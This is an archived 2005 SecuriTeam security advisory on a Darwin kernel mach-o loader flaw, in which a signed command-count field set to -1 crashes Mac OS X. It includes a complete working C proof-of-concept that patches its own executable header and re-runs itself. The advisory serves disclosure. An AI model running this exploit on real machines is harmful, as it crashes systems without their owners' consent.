

# [UNIX] Darwin Kernel ncmts Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0106.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 01/25/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 25 Jan 2005 18:58:44 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Darwin Kernel ncmts Vulnerability

---

## SUMMARY

Numerous bugs exist in the Darwin Kernel used by Mac OSX Some of the bugs we investigated exist due to lack of input validation in the mach-o loader. The vulnerability described here allows a malicious attacker to crash the target machine.

## DETAILS

Vulnerable Systems:

\* Darwin Kernel version 7.7.0 and prior

In the file `bsd/kern/mach_loader.c` the mach-o header is parsed and for the most part each field is trusted to be acceptable. In the mach-o loader code (`parse_machfile()`) ncmts and offset are both declared as signed integers, however the appropriate structs used to read from the file are unsigned. After a little investigation a DoS was quickly written to set ncmts to -1.

```
ncmts = header->ncmts;
while (ncmts-->0) {
```

Proof of Concept Code:

## Securiteam: [UNIX] Darwin Kernel ncmds Vulnerability

The code below will cause a denial of service on MacOSX 10.3.7 and below.

```
//-----( fm-nacho.c )-----  
/*  
 * DoS for Darwin Kernel Version < 7.5.0  
 * -(nemo@pulltheplug.org)-  
 * 2005  
 *  
 * greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)  
 * irc.pulltheplug.org (#social)  
 */  
  
#include <stdio.h>  
  
int main(int ac, char **av)  
{  
    FILE *me;  
    int rpl = 0xffffffff;  
    fpos_t pos = 0x10;  
    printf("-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n");  
    printf("-( nemo@pulltheplug.org )-\n\n");  
    printf("[+] Opening file for writing.\n");  
    if(!(me = fopen(*av,"r+"))) {  
        printf("[-] Error opening exe.\n");  
        exit(1);  
    }  
    printf("[+] Seeking to ncmds.\n");  
    if((fsetpos(me,&pos)) == -1) {  
        printf("[-] Error seeking to ncmds.\n");  
        exit(1);  
    }  
    printf("[+] Changing ncmds to 0x%x.\n",rpl);  
    if(fwrite(&rpl,4,1,me) < 1) {  
        printf("[-] Error writing to file.\n");  
        exit(1);  
    }  
    fclose(me);  
    printf("[+] Re-executing with modified mach-o header.\n");  
    sleep(5);  
    if(execv(*av,av) == -1 ) {  
        printf("[-] Error executing %s, please run  
manually.\n",*av);  
        exit(1);  
    }  
    exit(0); // hrm  
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:nemo@felinemenace.org> nemo.

=====

Securiteam: [UNIX] Darwin Kernel ncmts Vulnerability

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.